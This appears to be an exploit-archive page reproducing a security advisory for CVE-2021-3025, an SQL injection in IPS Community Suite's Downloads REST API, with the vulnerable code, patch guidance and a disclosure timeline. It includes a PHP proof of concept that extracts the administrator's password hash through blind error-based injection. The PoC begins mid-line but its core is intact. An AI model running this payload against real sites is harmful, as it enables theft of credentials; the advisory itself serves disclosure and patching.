IPS Community Suite 4.5.4 SQL Injection

Authored by EgiX | Site karmainsecurity.com

Posted Jan 6, 2021

IPS Community Suite versions 4.5.4 and below suffer from a remote SQL injection vulnerability in the Downloads REST API.

tags | exploit, remote, sql injection
advisories | CVE-2021-3025
SHA-256 | 91f17358440b97a2cdf9126200c78d2bfdc16a8200647806ddf3ac379ef0d629

Download | Favorite | View

Related Files

Change Mirror Download

```
------------------------------------------------------------------------------
IPS Community Suite <= 4.5.4 (Downloads REST API) SQL Injection Vulnerability
------------------------------------------------------------------------------


[-] Software Link:

https://invisioncommunity.com


[-] Affected Versions:

Version 4.5.4 and prior versions.


[-] Vulnerability Description:

The vulnerability is located within the
/applications/downloads/api/files.php script, specifically into the
GETindex() method:

48. public function GETindex()
49. {
50.     /* Where clause */
51.     $where = array();
52.     $sortBy = NULL;
53.
54.     /* Sort by popular files */
55.     if( \IPS\Request::i()->sortBy == 'popular' )
56.     {
57.         \IPS\Request::i()->sortDir = \IPS\Request::i()->sortDir ?: 'ASC';
58.         $sortBy = 'file_rating ' . \IPS\Request::i()->sortDir . ',
file_reviews';
59.         $where = array( array( 'file_rating>?', 0 ) );
60.     }
61.
62.     /* Return */
63.     return $this->_list( $where, 'categories', FALSE, $sortBy );
64. }

User input passed through the "sortDir" GET parameter (when "sortBy"
is set to "popular") is not properly sanitized before being used to
construct an SQL query at line 58. This can be exploited by remote
attackers to e.g. read sensitive data from the database through
error-based SQL Injection attacks. Successful exploitation of this
vulnerability requires an API key with permissions to access the
Downloads Files API.


[-] Proof of Concept:

http://karmainsecurity.com/pocs/CVE-2021-3025

--- poc ---
"; print "\nExample....: php $argv[0] http://localhost/ips/ 6aaf2e085d179866ef40ad0ac9381b36"; print
"\nExample....: php $argv[0] https://invisioncommunity.com/ 765ed33ba595c4da8d64c6c22138aa16\n\n"; die(); }
list($url, $api_key) = [$argv[1], $argv[2]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: Bearer ".base64_encode($api_key)]); curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, false); $url = "{$url}api/index.php?/downloads/files&sortBy=popular&sortDir=%s"; $sql =
",(select case when (%s) then 1 else 1*(select table_name from information_schema.tables)end)=1#"; $end =
false; $min = true; $idx = 1; while (!$end) { $test = 256; for ($i = 7; $i >= 0; $i--) { $test = $min ? ($test
- pow(2, $i)) : ($test + pow(2, $i)); $sub_sql = "select if(ord(substr(members_pass_hash,{$idx},1))
<{$test},1,0) from core_members limit 1"; curl_setopt($ch, CURLOPT_URL, sprintf($url,
rawurlencode(sprintf($sql, $sub_sql)))); $min = !preg_match("/UNKNOWN_ERROR/", curl_exec($ch)); } if (($chr =
$min ? ($test - 1) : ($test)) == 0) $end = true; $pass .= chr($chr); $min = true; $idx++; print "\r[-] Admin's
password hash: {$pass}"; } print "\n";
--- poc end ---


[-] Solution:

Apply the vendor patch or upgrade to version 4.5.4.2 or later.


[-] Disclosure Timeline:

[19/12/2020] - Vendor notified through HackerOne
[27/12/2020] - Vendor released a targeted patch
[05/01/2021] - Vendor released version 4.5.4.2
[05/01/2021] - CVE number assigned
[06/01/2021] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-3025 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2021-01
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed